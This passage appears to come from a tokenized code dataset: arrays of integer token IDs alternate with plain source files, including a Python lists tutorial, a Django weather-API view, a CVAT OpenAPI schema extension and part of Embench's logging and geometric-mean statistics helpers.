795,
3564,
4074,
8726,
29922,
11618,
29918,
1639,
8726,
29892,
13,
795,
2669,
10601,
29879,
29922,
5509,
29918,
10149,
29879,
29892,
13,
795,
28598,
19478,
29922,
816,
287,
19478,
29892,
13,
795,
8282,
29922,
1285,
475,
414,
29918,
13239,
29889,
4391,
28089,
3728,
29898,
4645,
29889,
19158,
29892,
13,
462,
462,
462,
418,
6389,
29889,
11338,
8243,
13,
3986,
2060,
29922,
8758,
29918,
999,
29889,
4836,
29892,
13,
3986,
10640,
29922,
8758,
29918,
999,
29889,
8028,
29897,
13,
418,
565,
11073,
29901,
13,
4706,
2009,
29889,
8758,
29889,
21134,
353,
11073,
13,
418,
565,
2752,
29918,
8758,
29918,
6886,
29901,
13,
4706,
2009,
29889,
4993,
4998,
6733,
353,
2752,
29918,
8758,
29918,
6886,
13,
13,
418,
7274,
29889,
4397,
3552,
4645,
29889,
481,
277,
8789,
29918,
4645,
29889,
2611,
2925,
29892,
13,
462,
539,
525,
17491,
742,
2009,
876,
13,
13,
1678,
736,
3132,
29889,
9984,
3089,
29879,
29898,
24830,
29897,
13,
13,
29871,
822,
903,
4391,
29928,
3873,
25510,
29898,
1311,
29892,
19464,
29892,
6389,
29892,
6579,
29918,
20960,
29918,
2311,
29918,
26300,
29892,
1967,
29918,
5338,
29892,
13,
462,
3986,
2777,
29918,
999,
29892,
14383,
29918,
4381,
29879,
1125,
13,
1678,
9995,
9832,
1078,
3450,
7191,
411,
766,
2039,
10959,
304,
11400,
2777,
1213,
15945,
13,
1678,
565,
313,
11014,
29918,
4381,
29879,
322,
451,
6389,
29889,
3624,
10299,
2164,
877,
20960,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
3258,
29918,
20960,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
2997,
29918,
893,
29881,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
4777,
29918,
20960,
29918,
1853,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
4777,
29918,
20960,
29918,
10141,
29918,
978,
1495,
322,
13,
4706,
451,
6389,
29889,
3624,
10299,
2164,
877,
4777,
29918,
20960,
29918,
6921,
29918,
8143,
8785,
29901,
13,
418,
736,
5159,
13,
1678,
1683,
29901,
13,
418,
28152,
29918,
2218,
2039,
29892,
903,
353,
313,
13,
3986,
2777,
29918,
13239,
29889,
4391,
15136,
9696,
4165,
3791,
29928,
3873,
25510,
29898,
13,
795,
19464,
29889,
13237,
29892,
19464,
29889,
4645,
29892,
6213,
29892,
6389,
29889,
20960,
470,
19997,
13,
795,
2777,
29918,
999,
876,
13,
418,
28152,
29918,
3258,
29918,
2218,
2039,
353,
313,
13,
3986,
2777,
29918,
13239,
29889,
4391,
15136,
9696,
4391,
29928,
3873,
25510,
29898,
13,
795,
19464,
29889,
4645,
29892,
19464,
29889,
13237,
29892,
6213,
29892,
13,
795,
679,
5552,
29898,
5085,
29892,
525,
3258,
29918,
20960,
742,
5159,
511,
2777,
29918,
999,
876,
13,
418,
1887,
29918,
893,
6289,
353,
5159,
13,
418,
363,
921,
297,
6389,
29889,
2997,
29918,
893,
29881,
470,
5159,
29901,
13,
4706,
1887,
29918,
893,
29881,
353,
2777,
29918,
13239,
29889,
4391,
7717,
29903,
4928,
3728,
29898,
13,
9651,
19464,
29889,
13237,
29892,
13,
9651,
19464,
29889,
4645,
29889,
19158,
29892,
13,
9651,
921,
29889,
657,
877,
10141,
29899,
978,
5477,
13,
9651,
921,
29889,
657,
877,
13248,
5477,
13,
9651,
921,
29889,
657,
877,
2311,
5477,
13,
9651,
2777,
29918,
999,
29889,
8028,
29892,
13,
9651,
2777,
29918,
999,
29889,
4836,
29897,
13,
4706,
1887,
29918,
893,
6289,
29889,
4397,
29898,
2997,
29918,
893,
29881,
29897,
13,
418,
6579,
29918,
20960,
353,
2777,
29918,
13239,
29889,
4391,
4592,
20967,
4165,
3791,
29928,
3873,
3728,
29898,
13,
3986,
19464,
29889,
4645,
29892,
19464,
29889,
13237,
29892,
13,
3986,
8086,
29918,
1853,
29922,
5085,
29889,
4777,
29918,
20960,
29918,
1853,
29892,
13,
3986,
8086,
29918,
10141,
29918,
978,
29922,
5085,
29889,
4777,
29918,
20960,
29918,
10141,
29918,
978,
29892,
13,
3986,
8086,
29918,
6921,
29918,
8143,
29922,
5085,
29889,
4777,
29918,
20960,
29918,
6921,
29918,
8143,
29892,
13,
3986,
8086,
29918,
2311,
29918,
26300,
29922,
4777,
29918,
20960,
29918,
2311,
29918,
26300,
29892,
13,
3986,
1996,
29918,
29883,
344,
29895,
29918,
1989,
29918,
3258,
29922,
8516,
29892,
13,
3986,
1967,
29918,
5338,
29922,
3027,
29918,
5338,
29892,
13,
3986,
2777,
29918,
999,
29922,
8758,
29918,
999,
29892,
13,
3986,
274,
344,
29895,
29918,
8149,
29922,
8516,
29897,
13,
418,
736,
313,
13,
3986,
518,
4777,
29918,
20960,
29962,
718,
28152,
29918,
2218,
2039,
718,
28152,
29918,
3258,
29918,
2218,
2039,
718,
1887,
29918,
893,
6289,
29897,
13,
13,
13,
4391,
4591,
7895,
29889,
29881,
11881,
29918,
8477,
353,
426,
13,
1678,
525,
1182,
2575,
2396,
9995,
29905,
13,
1678,
10516,
363,
4969,
5087,
11796,
29872,
6012,
6901,
4933,
8871,
2734,
20868,
4558,
29889,
13,
1678,
5124,
613,
13,
1678,
525,
2287,
7187,
24290,
2725,
2396,
9995,
29905,
13,
4706,
334,
29912,
6519,
29913,
29930,
16089,
277,
1078,
278,
11265,
310,
5087,
11796,
29872,
10863,
6901,
13,
4706,
14884,
393,
6057,
263,
20868,
1967,
29889,
1152,
1342,
29892,
2734,
29901,
13,
13,
3986,
395,
426,
6519,
29913,
2777,
29899,
29896,
1192,
8028,
502,
29899,
25171,
29896,
29899,
29874,
1192,
14695,
29899,
3027,
29922,
29887,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
13,
13,
4706,
674,
1653,
385,
2777,
2000,
2777,
29899,
29896,
29892,
297,
278,
502,
29899,
25171,
29896,
29899,
29874,
10640,
29892,
13,
4706,
2734,
278,
525,
8262,
29891,
1884,
29915,
1967,
29889,
13,
13,
4706,
1152,
901,
6455,
29892,
2737,
304,
278,
334,
5746,
19297,
17101,
29930,
4004,
2400,
29889,
13,
4706,
5124,
613,
13,
1678,
525,
5746,
19297,
17101,
2396,
9995,
29905,
13,
4706,
1763,
1065,
278,
330,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1967,
373,
385,
2777,
4257,
13,
4706,
525,
8758,
29899,
29896,
29915,
393,
429,
10590,
2011,
29871,
29947,
29900,
29892,
1065,
29901,
13,
13,
3986,
395,
426,
6519,
29913,
2777,
29899,
29896,
1192,
14695,
29899,
3027,
29922,
29887,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1192,
637,
29899,
655,
27775,
29922,
29947,
29900,
29901,
29947,
29900,
29901,
29911,
6271,
13,
13,
4706,
1763,
1065,
278,
330,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1967,
373,
385,
2777,
4257,
13,
4706,
525,
8758,
29899,
29896,
29915,
393,
24138,
525,
8057,
376,
10994,
3186,
29908,
29915,
408,
263,
1065,
1899,
29892,
1065,
29901,
13,
13,
3986,
395,
426,
6519,
29913,
2777,
29899,
29896,
1192,
14695,
29899,
3027,
29922,
29887,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1192,
3389,
29899,
6519,
2433,
8057,
376,
10994,
3186,
29908,
29915,
13,
13,
4706,
1763,
1065,
278,
330,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1967,
297,
14828,
3192,
4464,
29892,
1065,
29901,
13,
13,
3986,
395,
426,
6519,
29913,
2777,
29899,
29896,
1192,
14695,
29899,
3027,
29922,
29887,
7283,
29889,
601,
29914,
3608,
29899,
1285,
475,
414,
29914,
8262,
29891,
1884,
1192,
3389,
29899,
294,
29899,
22534,
488,
3192,
13,
4706,
9995,
13,
29913,
13,
2
] |
lists.py | Irene-Michellee/Python_DS-Algorithms | 0 | 1613306 | # Accesing elements in a list
list_a = ['phy','chem',1998,2000];
list_b = [1,2,3,4,5,6,7,8,9];
print("list_a[2] is:",list_a[2]);
print(list_b[2:7]);
#updating lists
print("updation");
print(list_a[1]);
list_a[1] = "math";
list_b.append("hello"); #append to add an element to the list
print(list_a);
print(list_b);
#Deleting lists
print("Deletion");
print(list_a[0]);
del list_a[0];
print(list_a);
list_b.remove(4);
print(list_b);
#length
print(len(list_a));
#concatenation
print(list_a + list_b);
#repetition
print(["hi!"]*4);
#iteration
list_c = ["aa",00,"bb",10];
for x in list_c:
print(x); | [
1,
396,
4831,
267,
292,
3161,
297,
263,
1051,
13,
1761,
29918,
29874,
353,
6024,
11461,
3788,
14969,
742,
29896,
29929,
29929,
29947,
29892,
29906,
29900,
29900,
29900,
1385,
13,
1761,
29918,
29890,
353,
518,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
29892,
29953,
29892,
29955,
29892,
29947,
29892,
29929,
1385,
13,
2158,
703,
1761,
29918,
29874,
29961,
29906,
29962,
338,
29901,
613,
1761,
29918,
29874,
29961,
29906,
5691,
13,
2158,
29898,
1761,
29918,
29890,
29961,
29906,
29901,
29955,
5691,
13,
13,
29937,
786,
26747,
8857,
13,
2158,
703,
786,
29881,
362,
1496,
13,
2158,
29898,
1761,
29918,
29874,
29961,
29896,
5691,
13,
1761,
29918,
29874,
29961,
29896,
29962,
353,
376,
755,
1769,
13,
1761,
29918,
29890,
29889,
4397,
703,
12199,
1496,
396,
4397,
304,
788,
385,
1543,
304,
278,
1051,
13,
2158,
29898,
1761,
29918,
29874,
416,
13,
2158,
29898,
1761,
29918,
29890,
416,
13,
13,
29937,
2772,
1026,
292,
8857,
13,
2158,
703,
2772,
1026,
291,
1496,
13,
2158,
29898,
1761,
29918,
29874,
29961,
29900,
5691,
13,
6144,
1051,
29918,
29874,
29961,
29900,
1385,
13,
2158,
29898,
1761,
29918,
29874,
416,
13,
1761,
29918,
29890,
29889,
5992,
29898,
29946,
416,
13,
2158,
29898,
1761,
29918,
29890,
416,
13,
13,
29937,
2848,
13,
2158,
29898,
2435,
29898,
1761,
29918,
29874,
2483,
13,
29937,
535,
29883,
2579,
362,
13,
2158,
29898,
1761,
29918,
29874,
718,
1051,
29918,
29890,
416,
13,
29937,
3445,
300,
654,
13,
2158,
29898,
3366,
2918,
29991,
3108,
29930,
29946,
416,
13,
29937,
1524,
362,
13,
1761,
29918,
29883,
353,
6796,
7340,
613,
29900,
29900,
1699,
1327,
613,
29896,
29900,
1385,
13,
1454,
921,
297,
1051,
29918,
29883,
29901,
13,
1678,
1596,
29898,
29916,
416,
2
] |
weather/views.py | fjavierm/weather-app | 0 | 197790 | <reponame>fjavierm/weather-app
import json
import urllib.request
from django.shortcuts import render
API_KEY = '' # TODO Add the API key
# Create your views here.
def home(request):
if request.method == 'POST':
city = request.POST['city']
source = urllib.request.urlopen(
'http://api.weatherapi.com/v1/current.json?key=' + API_KEY + '&q=' + city).read()
response = json.loads(source)
print(response)
data = {
'name': str(response['location']['name']),
'coordinates': {
'longitude': str(response['location']['lon']),
'latitude': str(response['location']['lat']),
},
'pressure': str(response['current']['pressure_mb']),
'humidity': str(response['current']['humidity']),
'wind': str(response['current']['wind_kph']),
'temp_f': str(response['current']['temp_f']),
'text': str(response['current']['condition']['text']),
'local_time': str(response['location']['localtime']),
}
else:
data = {}
return render(request, 'weather.html', data)
| [
1,
529,
276,
1112,
420,
29958,
29888,
9494,
631,
29885,
29914,
705,
1624,
29899,
932,
13,
5215,
4390,
13,
5215,
3142,
1982,
29889,
3827,
13,
13,
3166,
9557,
29889,
12759,
7582,
29879,
1053,
4050,
13,
13,
8787,
29918,
10818,
353,
6629,
29871,
396,
14402,
3462,
278,
3450,
1820,
13,
13,
13,
29937,
6204,
596,
8386,
1244,
29889,
13,
1753,
3271,
29898,
3827,
1125,
13,
1678,
565,
2009,
29889,
5696,
1275,
525,
5438,
2396,
13,
4706,
4272,
353,
2009,
29889,
5438,
1839,
12690,
2033,
13,
4706,
2752,
353,
3142,
1982,
29889,
3827,
29889,
332,
417,
2238,
29898,
13,
9651,
525,
1124,
597,
2754,
29889,
705,
1624,
2754,
29889,
510,
29914,
29894,
29896,
29914,
3784,
29889,
3126,
29973,
1989,
2433,
718,
3450,
29918,
10818,
718,
525,
29987,
29939,
2433,
718,
4272,
467,
949,
580,
13,
4706,
2933,
353,
4390,
29889,
18132,
29898,
4993,
29897,
13,
4706,
1596,
29898,
5327,
29897,
13,
4706,
848,
353,
426,
13,
9651,
525,
978,
2396,
851,
29898,
5327,
1839,
5479,
16215,
978,
2033,
511,
13,
9651,
525,
1111,
24266,
2396,
426,
13,
18884,
525,
5426,
4279,
2396,
851,
29898,
5327,
1839,
5479,
16215,
12957,
2033,
511,
13,
18884,
525,
5066,
4279,
2396,
851,
29898,
5327,
1839,
5479,
16215,
5066,
2033,
511,
13,
9651,
2981,
13,
9651,
525,
2139,
545,
2396,
851,
29898,
5327,
1839,
3784,
16215,
2139,
545,
29918,
8337,
2033,
511,
13,
9651,
525,
16063,
333,
537,
2396,
851,
29898,
5327,
1839,
3784,
16215,
16063,
333,
537,
2033,
511,
13,
9651,
525,
14800,
2396,
851,
29898,
5327,
1839,
3784,
16215,
14800,
29918,
29895,
561,
2033,
511,
13,
9651,
525,
7382,
29918,
29888,
2396,
851,
29898,
5327,
1839,
3784,
16215,
7382,
29918,
29888,
2033,
511,
13,
9651,
525,
726,
2396,
851,
29898,
5327,
1839,
3784,
16215,
16122,
16215,
726,
2033,
511,
13,
9651,
525,
2997,
29918,
2230,
2396,
851,
29898,
5327,
1839,
5479,
16215,
2997,
2230,
2033,
511,
13,
4706,
500,
13,
1678,
1683,
29901,
13,
4706,
848,
353,
6571,
13,
1678,
736,
4050,
29898,
3827,
29892,
525,
705,
1624,
29889,
1420,
742,
848,
29897,
13,
2
] |
spiderlib/db/run.py | AmerJod/common | 0 | 53690 | <filename>spiderlib/db/run.py
from spiderlib.db.database import Database
# For testing purposes
POSTGRES_CONN = {
"POSTGRES_URL": "localhost:54320",
"POSTGRES_USER": "postgres",
"POSTGRES_PW": "<PASSWORD>",
"POSTGRES_DB": "postgres"
}
if __name__ == '__main__':
db = Database(**POSTGRES_CONN)
print(POSTGRES_CONN)
db._recreate_database()
| [
1,
529,
9507,
29958,
1028,
1241,
1982,
29914,
2585,
29914,
3389,
29889,
2272,
13,
3166,
805,
1241,
1982,
29889,
2585,
29889,
9803,
1053,
5470,
13,
13,
29937,
29871,
1152,
6724,
11976,
13,
5438,
29954,
15989,
29918,
6007,
29940,
353,
426,
13,
1678,
376,
5438,
29954,
15989,
29918,
4219,
1115,
376,
7640,
29901,
29945,
29946,
29941,
29906,
29900,
613,
13,
1678,
376,
5438,
29954,
15989,
29918,
11889,
1115,
376,
2490,
7201,
613,
13,
1678,
376,
5438,
29954,
15989,
29918,
29925,
29956,
1115,
9872,
25711,
17013,
28341,
13,
1678,
376,
5438,
29954,
15989,
29918,
4051,
1115,
376,
2490,
7201,
29908,
13,
29913,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
4833,
353,
5470,
29898,
1068,
5438,
29954,
15989,
29918,
6007,
29940,
29897,
13,
1678,
1596,
29898,
5438,
29954,
15989,
29918,
6007,
29940,
29897,
13,
1678,
4833,
3032,
276,
3258,
29918,
9803,
580,
13,
2
] |
cvat/apps/iam/schema.py | ACHultman/cvat | 4,197 | 35635 | <reponame>ACHultman/cvat
# Copyright (C) 2022 Intel Corporation
#
# SPDX-License-Identifier: MIT
from drf_spectacular.extensions import OpenApiFilterExtension, OpenApiAuthenticationExtension
from drf_spectacular.plumbing import build_parameter_type
from drf_spectacular.utils import OpenApiParameter
# https://drf-spectacular.readthedocs.io/en/latest/customization.html?highlight=OpenApiFilterExtension#step-5-extensions
class OrganizationFilterExtension(OpenApiFilterExtension):
"""Describe OrganizationFilterBackend filter"""
target_class = 'cvat.apps.iam.filters.OrganizationFilterBackend'
priority = 1
def get_schema_operation_parameters(self, auto_schema, *args, **kwargs):
"""Describe query parameters"""
return [
build_parameter_type(
name=self.target.organization_slug,
required=False,
location=OpenApiParameter.QUERY,
description=self.target.organization_slug_description,
schema={'type': 'string'},
),
build_parameter_type(
name=self.target.organization_id,
required=False,
location=OpenApiParameter.QUERY,
description=self.target.organization_id_description,
schema={'type': 'string'},
)
]
class SignatureAuthenticationScheme(OpenApiAuthenticationExtension):
target_class = 'cvat.apps.iam.authentication.SignatureAuthentication'
name = 'SignatureAuthentication' # name used in the schema
def get_security_definition(self, auto_schema):
return {
'type': 'apiKey',
'in': 'query',
'name': 'sign',
} | [
1,
529,
276,
1112,
420,
29958,
2477,
29950,
499,
1171,
29914,
29883,
9046,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29906,
29906,
18555,
15025,
13,
29937,
13,
29937,
10937,
29928,
29990,
29899,
29931,
293,
1947,
29899,
12889,
29901,
341,
1806,
13,
13,
3166,
4192,
29888,
29918,
21494,
562,
1070,
29889,
24299,
1053,
4673,
11713,
5072,
17657,
29892,
4673,
11713,
16746,
17657,
13,
3166,
4192,
29888,
29918,
21494,
562,
1070,
29889,
572,
3774,
292,
1053,
2048,
29918,
15501,
29918,
1853,
13,
3166,
4192,
29888,
29918,
21494,
562,
1070,
29889,
13239,
1053,
4673,
11713,
9329,
13,
13,
29937,
2045,
597,
7707,
29888,
29899,
21494,
562,
1070,
29889,
949,
386,
287,
12332,
29889,
601,
29914,
264,
29914,
12333,
29914,
6341,
2133,
29889,
1420,
29973,
28970,
29922,
6585,
11713,
5072,
17657,
29937,
10568,
29899,
29945,
29899,
24299,
13,
1990,
9205,
2133,
5072,
17657,
29898,
6585,
11713,
5072,
17657,
1125,
13,
1678,
9995,
4002,
29581,
9205,
2133,
5072,
5841,
355,
4175,
15945,
29908,
13,
13,
1678,
3646,
29918,
1990,
353,
525,
29883,
9046,
29889,
13371,
29889,
2829,
29889,
26705,
29889,
27356,
2133,
5072,
5841,
355,
29915,
13,
1678,
20136,
353,
29871,
29896,
13,
13,
1678,
822,
679,
29918,
11010,
29918,
16453,
29918,
16744,
29898,
1311,
29892,
4469,
29918,
11010,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4002,
29581,
2346,
4128,
15945,
29908,
13,
4706,
736,
518,
13,
9651,
2048,
29918,
15501,
29918,
1853,
29898,
13,
18884,
1024,
29922,
1311,
29889,
5182,
29889,
6388,
2133,
29918,
29517,
29892,
13,
18884,
3734,
29922,
8824,
29892,
13,
18884,
4423,
29922,
6585,
11713,
9329,
29889,
13356,
24422,
29892,
13,
18884,
6139,
29922,
1311,
29889,
5182,
29889,
6388,
2133,
29918,
29517,
29918,
8216,
29892,
13,
18884,
10938,
3790,
29915,
1853,
2396,
525,
1807,
16675,
13,
9651,
10353,
13,
9651,
2048,
29918,
15501,
29918,
1853,
29898,
13,
18884,
1024,
29922,
1311,
29889,
5182,
29889,
6388,
2133,
29918,
333,
29892,
13,
18884,
3734,
29922,
8824,
29892,
13,
18884,
4423,
29922,
6585,
11713,
9329,
29889,
13356,
24422,
29892,
13,
18884,
6139,
29922,
1311,
29889,
5182,
29889,
6388,
2133,
29918,
333,
29918,
8216,
29892,
13,
18884,
10938,
3790,
29915,
1853,
2396,
525,
1807,
16675,
13,
9651,
1723,
13,
4706,
4514,
13,
13,
1990,
9954,
1535,
16746,
4504,
2004,
29898,
6585,
11713,
16746,
17657,
1125,
13,
1678,
3646,
29918,
1990,
353,
525,
29883,
9046,
29889,
13371,
29889,
2829,
29889,
23055,
29889,
10140,
1535,
16746,
29915,
13,
1678,
1024,
353,
525,
10140,
1535,
16746,
29915,
29871,
396,
1024,
1304,
297,
278,
10938,
13,
13,
1678,
822,
679,
29918,
8926,
29918,
16553,
29898,
1311,
29892,
4469,
29918,
11010,
1125,
13,
4706,
736,
426,
13,
9651,
525,
1853,
2396,
525,
2754,
2558,
742,
13,
9651,
525,
262,
2396,
525,
1972,
742,
13,
9651,
525,
978,
2396,
525,
4530,
742,
13,
4706,
500,
2
] |
embench-iot/pylib/embench_core.py | Hecmay/llvm-pass-skeleton | 2 | 45750 | <gh_stars>1-10
#!/usr/bin/env python3
# Common python procedures for use across Embench.
# Copyright (C) 2017, 2019 Embecosm Limited
#
# Contributor: <NAME> <<EMAIL>>
# Contributor: <NAME> <<EMAIL>>
#
# This file is part of Embench.
# SPDX-License-Identifier: GPL-3.0-or-later
"""
Embench common procedures.
This version is suitable when using a version of GDB which can launch a GDB
server to use as a target.
"""
import logging
import math
import os
import re
import sys
import time
# What we export
__all__ = [
'check_python_version',
'log',
'gp',
'setup_logging',
'log_args',
'log_benchmarks',
'embench_stats',
]
# Handle for the logger
log = logging.getLogger()
# All the global parameters
gp = dict()
# Make sure we have new enough python
def check_python_version(major, minor):
"""Check the python version is at least {major}.{minor}."""
if ((sys.version_info[0] < major)
or ((sys.version_info[0] == major) and (sys.version_info[1] < minor))):
log.error(f'ERROR: Requires Python {major}.{minor} or later')
sys.exit(1)
def create_logdir(logdir):
"""Create the log directory, which can be relative to the root directory
or absolute"""
if not os.path.isabs(logdir):
logdir = os.path.join(gp['rootdir'], logdir)
if not os.path.isdir(logdir):
try:
os.makedirs(logdir)
except PermissionError:
raise PermissionError(f'Unable to create log directory {logdir}')
if not os.access(logdir, os.W_OK):
raise PermissionError(f'Unable to write to log directory {logdir}')
return logdir
def setup_logging(logdir, prefix):
"""Set up logging in the directory specified by "logdir".
The log file name is the "prefix" argument followed by a timestamp.
Debug messages only go to file, everything else also goes to the
console."""
# Create the log directory first if necessary.
logdir_abs = create_logdir(logdir)
logfile = os.path.join(
logdir_abs, time.strftime(f'{prefix}-%Y-%m-%d-%H%M%S.log')
)
# Set up logging
log.setLevel(logging.DEBUG)
cons_h = logging.StreamHandler(sys.stdout)
cons_h.setLevel(logging.INFO)
log.addHandler(cons_h)
file_h = logging.FileHandler(logfile)
file_h.setLevel(logging.DEBUG)
log.addHandler(file_h)
# Log where the log file is
log.debug(f'Log file: {logfile}\n')
log.debug('')
def log_args(args):
"""Record all the argument values"""
log.debug('Supplied arguments')
log.debug('==================')
for arg in vars(args):
realarg = re.sub('_', '-', arg)
val = getattr(args, arg)
log.debug(f'--{realarg:20}: {val}')
log.debug('')
def find_benchmarks():
"""Enumerate all the benchmarks in alphabetical order. The benchmarks are
found in the 'src' subdirectory of the root directory. Set up global
parameters for the source and build benchmark directories.
Return the list of benchmarks."""
gp['benchdir'] = os.path.join(gp['rootdir'], 'src')
gp['bd_benchdir'] = os.path.join(gp['bd'], 'src')
dirlist = os.listdir(gp['benchdir'])
benchmarks = []
for bench in dirlist:
abs_b = os.path.join(gp['benchdir'], bench)
if os.path.isdir(abs_b):
benchmarks.append(bench)
benchmarks.sort()
return benchmarks
def log_benchmarks(benchmarks):
"""Record all the benchmarks in the log"""
log.debug('Benchmarks')
log.debug('==========')
for bench in benchmarks:
log.debug(bench)
log.debug('')
def compute_geomean(benchmarks, raw_data, rel_data):
"""Compute the geometric mean and count the number of data points for the
supplied benchmarks, raw and optionally relative data. Return a
list of geometric mean and count of data, with a."""
geomean = 1.0
count = 0.0
for bench in benchmarks:
if gp['absolute']:
# Want absolute results. Ignore zero values
if bench in raw_data:
if raw_data[bench] > 0:
count += 1
geomean *= raw_data[bench]
else:
# Want relative results (the default). Ignore zero value
if bench in rel_data:
if rel_data[bench] > 0:
count += 1
geomean *= rel_data[bench]
if count > 0.0:
geomean = pow(geomean, 1.0 / count)
return geomean, count
def compute_geosd(benchmarks, raw_data, rel_data, geomean, count):
"""Compute geometric standard deviation for the given set of benchmarks,
using the supplied raw and optinally relative data. This draws on the
previously computed geometric mean and count for each benchmark.
Return geometric standard deviation."""
lnsize = 0.0
geosd = 0.0
for bench in benchmarks:
if gp['absolute']:
# Want absolute results
if raw_data[bench] > 0.0:
lnsize += math.pow(math.log(raw_data[bench] / geomean), 2)
else:
# Want relative results (the default).
if rel_data[bench] > 0.0:
lnsize += math.pow(math.log(rel_data[bench] / geomean), 2)
# Compute the standard deviation using the lnsize data for each benchmark.
if count > 0.0:
geosd = math.exp(math.sqrt(lnsize / count))
return geosd
def compute_georange(geomean, geosd, count):
"""Compute the geometric range of one geometric standard deviation around
the geometric mean. Return the geometric range."""
georange = 0.0
if count > 0:
if geosd > 0.0:
georange = geomean * geosd - geomean / geosd
else:
georange = 0.0
return georange
def output_stats(geomean, geosd, georange, count):
"""Output the statistical summary."""
geomean_op = ''
geosd_op = ''
georange_op = ''
if count > 0:
if gp['absolute']:
geomean_op = f'{round(geomean):8,}'
geosd_op = f' {(geosd):6.2f}'
georange_op = f'{round(georange):8,}'
else:
geomean_op = f' {geomean:6.2f}'
geosd_op = f' {geosd:6.2f}'
georange_op = f' {georange:6.2f}'
else:
geomean_op = ' - '
geosd_op = ' - '
georange_op = ' - '
# Output the results
log.info('--------- -----')
log.info(f'Geometric mean {geomean_op:8}')
log.info(f'Geometric SD {geosd_op:8}')
log.info(f'Geometric range {georange_op:8}')
def embench_stats(benchmarks, raw_data, rel_data):
"""Output statistics summary for Embench."""
geomean, count = compute_geomean(benchmarks, raw_data, rel_data)
geosd = compute_geosd(benchmarks, raw_data, rel_data, geomean, count)
georange = compute_georange(geomean, geosd, count)
output_stats(geomean, geosd, georange, count)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
13,
29937,
13103,
3017,
28648,
363,
671,
4822,
2812,
1785,
305,
29889,
13,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29955,
29892,
29871,
29906,
29900,
29896,
29929,
2812,
19385,
359,
29885,
28873,
13,
29937,
13,
29937,
2866,
1091,
3406,
29901,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
2866,
1091,
3406,
29901,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
29937,
13,
29937,
910,
934,
338,
760,
310,
2812,
1785,
305,
29889,
13,
13,
29937,
10937,
29928,
29990,
29899,
29931,
293,
1947,
29899,
12889,
29901,
402,
7390,
29899,
29941,
29889,
29900,
29899,
272,
29899,
29880,
1008,
13,
13,
15945,
29908,
13,
6026,
1785,
305,
3619,
28648,
29889,
13,
13,
4013,
1873,
338,
13907,
746,
773,
263,
1873,
310,
402,
4051,
607,
508,
6826,
263,
402,
4051,
13,
2974,
304,
671,
408,
263,
3646,
29889,
13,
15945,
29908,
13,
13,
5215,
12183,
13,
5215,
5844,
13,
5215,
2897,
13,
5215,
337,
13,
5215,
10876,
13,
5215,
931,
13,
13,
13,
29937,
1724,
591,
5609,
13,
13,
1649,
497,
1649,
353,
518,
13,
1678,
525,
3198,
29918,
4691,
29918,
3259,
742,
13,
1678,
525,
1188,
742,
13,
1678,
525,
29887,
29886,
742,
13,
1678,
525,
14669,
29918,
21027,
742,
13,
1678,
525,
1188,
29918,
5085,
742,
13,
1678,
525,
1188,
29918,
1785,
16580,
29879,
742,
13,
1678,
525,
1590,
264,
305,
29918,
16202,
742,
13,
29962,
13,
13,
29937,
29273,
363,
278,
17927,
13,
1188,
353,
12183,
29889,
657,
16363,
580,
13,
13,
29937,
2178,
278,
5534,
4128,
13,
29887,
29886,
353,
9657,
580,
13,
13,
13,
29937,
8561,
1854,
591,
505,
716,
3307,
3017,
13,
1753,
1423,
29918,
4691,
29918,
3259,
29898,
21355,
29892,
9461,
1125,
13,
1678,
9995,
5596,
278,
3017,
1873,
338,
472,
3203,
426,
21355,
1836,
29912,
1195,
272,
29913,
1213,
15945,
13,
1678,
565,
5135,
9675,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
529,
4655,
29897,
13,
4706,
470,
5135,
9675,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
1275,
4655,
29897,
322,
313,
9675,
29889,
3259,
29918,
3888,
29961,
29896,
29962,
529,
9461,
876,
1125,
13,
4706,
1480,
29889,
2704,
29898,
29888,
29915,
11432,
29901,
830,
339,
2658,
5132,
426,
21355,
1836,
29912,
1195,
272,
29913,
470,
2678,
1495,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
13,
1753,
1653,
29918,
1188,
3972,
29898,
1188,
3972,
1125,
13,
1678,
9995,
4391,
278,
1480,
3884,
29892,
607,
508,
367,
6198,
304,
278,
3876,
3884,
13,
539,
470,
8380,
15945,
29908,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
6897,
29898,
1188,
3972,
1125,
13,
4706,
1480,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29887,
29886,
1839,
4632,
3972,
7464,
1480,
3972,
29897,
13,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
3972,
29898,
1188,
3972,
1125,
13,
4706,
1018,
29901,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
1188,
3972,
29897,
13,
4706,
5174,
20894,
2333,
2392,
29901,
13,
9651,
12020,
20894,
2333,
2392,
29898,
29888,
29915,
2525,
519,
304,
1653,
1480,
3884,
426,
1188,
3972,
29913,
1495,
13,
13,
1678,
565,
451,
2897,
29889,
5943,
29898,
1188,
3972,
29892,
2897,
29889,
29956,
29918,
8949,
1125,
